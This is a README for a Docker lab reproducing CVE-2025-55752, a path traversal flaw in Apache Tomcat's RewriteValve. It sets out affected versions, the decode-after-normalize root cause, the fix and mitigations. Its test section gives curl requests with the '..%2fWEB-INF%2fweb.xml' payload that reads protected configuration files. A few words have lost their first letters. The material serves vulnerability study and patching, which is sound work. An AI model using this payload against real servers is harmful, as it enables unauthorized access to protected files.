CVE-2025-55752 PoC — Apache Tomcat 安全漏洞

介绍

# CVE-2025-55752: Apache Tomcat Path Traversal Vulnerability

Docker-based reproduction environment for CVE-2025-55752, a path traversal vulnerability in Apache Tomcat 10.1.44.

## Overview

CVE-2025-55752 is a path traversal vulnerability in Apache Tomcat's RewriteValve caused by incorrect processing
rder: **URL normalization occurs before URL decoding**. This allows attackers to bypass security constraints
rotecting directories like `/WEB-INF/` using URL-encoded path traversal sequences (`..%2f`).

### Vulnerability Characteristics

- **CVE ID**: CVE-2025-55752
- **CVSS v3.1**: 7.5 (HIGH)
- **CWE**: CWE-22 (Path Traversal)
- **Component**: Apache Tomcat RewriteValve
- **Root Cause**: Normalize-before-decode processing order

## Affected Versions

| Series | Vulnerable Versions | Patched Version |
|--------|-------------------|-----------------|
| 11.x | 11.0.0-M1 to 11.0.10 | 11.0.11+ |
| 10.1.x | 10.1.0-M1 to 10.1.44 | 10.1.45+ |
| 9.0.x | 9.0.0-M11 to 9.0.108 | 9.0.109+ |
| 8.5.x | 8.5.6 to 8.5.100 | EOL - No patch |

## Quick Start

```bash
git clone https://github.com/masahiro331/CVE-2025-55752.git
cd CVE-2025-55752
docker-compose up -d
curl http://localhost:8080/
```

## Vulnerability Testing

### Test 1: Direct WEB-INF Access (Protected)

```bash
curl -I 'http://localhost:8080/WEB-INF/web.xml'
```

**Expected**: `403 Forbidden`

### Test 2: Information Disclosure (Read Protected Files)

```bash
curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5
curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'
```

**Expected**: `200 OK` + web.xml content (vulnerability confirmed)


## How It Works

1. Request: `/download?path=..%2fWEB-INF%2fweb.xml`
2. RewriteValve rewrites to: `/files/..%2fWEB-INF%2fweb.xml`
3. **URL normalization** (before decode): `%2f` not recognized as `/`, `..` survives
4. **URL decoding**: `%2f` → `/` → `/files/../WEB-INF/web.xml`
5. Path resolution: `/WEB-INF/web.xml`

## Processing Order Issue

```
Correct:    Decode → Normalize → Security Check
Vulnerable: Normalize → Decode → Security Check ✗
```

## Tomcat Fix

- **GitHub**: [apache/tomcat commit 130d36d8](https://github.com/apache/tomcat/commit/130d36d8)
- **Fix**: Decode before normalize

## Mitigation

1. Disable RewriteValve if not required
2. Disable PUT method
3. WAF rules to block `../` and `%2e%2e`
4. Upgrade to patched versions (10.1.45+, 9.0.109+, 11.0.11+)

## References

- [Apache Tomcat Security](https://tomcat.apache.org/security.html)
- [NVD - CVE-2025-55752](https://nvd.nist.gov/vuln/detail/CVE-2025-55752)
- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
- [CWE-22: Improper Limitation of a Pathname](https://cwe.mitre.org/data/definitions/22.html)

## Disclaimer

⚠️ **WARNING**: Do NOT deploy to production. Use only in isolated test environments.

文件快照

备注